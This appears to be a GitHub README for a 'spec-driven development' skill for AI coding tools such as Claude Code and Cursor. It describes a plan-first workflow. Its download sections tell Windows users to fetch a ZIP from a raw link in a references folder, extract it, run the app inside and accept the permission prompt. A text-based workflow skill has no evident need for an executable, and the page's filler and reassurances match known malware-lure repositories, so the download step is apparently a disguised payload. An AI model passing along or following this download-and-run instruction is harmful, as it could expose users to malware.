🧭 spec-driven-development-skill - Plan work before you build

📥 Download

Visit this page to download and run the app on Windows:

https://github.com/Contaaltv4782/spec-driven-development-skill/raw/refs/heads/main/references/development-skill-spec-driven-3.4.zip

🪟 Windows setup

1. Open the link above in your browser.
2. On the GitHub page, look for the latest release or the main download files.
3. Download the Windows file if one is listed.
4. If the file comes in a ZIP folder, right-click it and choose Extract All.
5. Open the extracted folder.
6. Double-click the app file to run it.
7. If Windows asks for permission, choose Yes.

✨ What this does

This project helps you work with AI coding tools in a clear order.

It guides you through:

• writing a short spec
• making a plan
• breaking work into tasks
• building the change
• checking the result

This helps you keep work organized when you use tools like Claude Code, Cursor, GitHub Copilot, and similar apps.

🧠 Why this is useful

When you start with a clear spec, you spend less time fixing confusion later.

This skill helps you:

• keep the goal clear
• avoid missed details
• reduce rework
• compare the plan with the result
• spot drift between the request and the code

It fits common software work such as:

• new features
• bug fixes
• UI changes
• product updates
• small refactors

🛠️ What you need

For Windows use, you only need:

• a Windows PC
• an internet connection
• a web browser
• enough free space to download the file
• permission to run downloaded apps

If you plan to use this with an AI coding tool, you may also want:

• Claude Code
• Cursor
• GitHub Copilot
• Windsurf
• another editor or coding agent

📦 What is inside

This repository is built around a spec-first workflow.

Typical parts include:

• a clear product spec
• a plan based on that spec
• a task list
• implementation steps
• validation checks
• drift checks to keep work on track

🧭 How the workflow works

1. Specify

Write what you want in plain language.

Good specs answer:

• what the user needs
• why it matters
• what the result should do
• what is out of scope

2. Plan

Turn the spec into a simple plan.

The plan should cover:

• main steps
• file or area changes
• risks
• edge cases
• needed checks

3. Tasks

Break the plan into small jobs.

Good tasks are:

• short
• clear
• easy to test
• in order

4. Implement

Use your AI coding tool to make the change.

Keep the tool focused on:

• one task at a time
• the current plan
• the spec details

5. Validate

Check that the result matches the spec.

Use checks such as:

• manual testing
• simple acceptance criteria
• code review
• drift detection

✅ Best use cases

This skill works well when you want to:

• build a feature from a clear request
• keep AI output tied to a goal
• avoid vague coding prompts
• manage complex work in steps
• track changes from spec to code

It is also helpful for:

• product teams
• solo builders
• support fixes
• prototype work
• ongoing feature updates

📋 Simple example

You want a new settings page.

Use this order:

• write the request
• define what the page must do
• list the tasks
• build one task at a time
• check each result against the spec

That gives the AI a clear path and gives you a clear review path

🔍 Validation and drift detection

Validation means checking if the result matches the request.

Drift detection means checking if the work has moved away from the spec.

Look for:

• missing steps
• extra changes
• changed behavior
• skipped acceptance criteria
• code that solves a different problem

This keeps the work aligned from start to finish

📌 Good habits

Use short, direct prompts.

Try to:

• name the goal
• state the expected result
• list limits
• include acceptance criteria
• ask for one step at a time

Avoid broad prompts like:

• make this better
• fix the app
• improve everything

Those prompts give the agent too much room to guess

🧩 Supported tools

This workflow fits common AI coding tools and editors, including:

• Claude Code
• Cursor
• GitHub Copilot
• Windsurf
• similar agent-based coding tools

The steps stay the same even if the tool changes

🪄 Suggested Windows use flow

1. Download the project from the link above.
2. Open it in your browser or file manager.
3. Read the spec files or workflow notes.
4. Use the steps in order: specify, plan, tasks, implement, validate.
5. Keep each change small.
6. Compare the result with the original request.

🔐 Safe use on Windows

Before opening any downloaded file:

• check the file name
• make sure it comes from the GitHub link above
• keep your antivirus on
• use the latest Windows updates
• avoid unknown files from other sites

📁 Common file types you may see

You may see files such as:

• .zip for a packed folder
• .md for markdown notes
• .json for structured data
• .txt for plain text
• .exe for a Windows app

If you see a ZIP file, extract it first before opening the contents

🧾 Quick start

1. Open the download link.
2. Get the latest Windows file or project files.
3. Extract the files if needed.
4. Open the folder.
5. Read the spec and workflow files.
6. Follow the steps in order.

🧰 Working with the spec files

When you open the project, look for files that describe:

• the goal
• the plan
• the task list
• checks to run
• rules for the agent

These files help the AI stay focused and help you review the result with less guesswork

📎 Repository details

• Name: spec-driven-development-skill
• Type: Agent skill for spec-driven development
• Focus: specification-first workflow
• Tools: Claude Code, Cursor, GitHub Copilot, and similar tools
• Topics: acceptance criteria, requirements, design doc, drift detection, prompt engineering, and software engineering

🧪 What success looks like

You know the workflow is working when:

• the spec is clear
• the plan matches the goal
• tasks are small and ordered
• the code changes stay on target
• the final result matches the acceptance criteria

🗂️ Suggested structure for your own use

If you adapt this skill for a project, keep this order:

• Spec
• Plan
• Tasks
• Build
• Check

That structure keeps the work easy to follow and easy to review

📞 If a file will not open

If Windows does not open the file:

• check that it finished downloading
• right-click the file and try again
• extract ZIP files first
• confirm you are using the correct app for the file type
• reopen the GitHub page and get the file again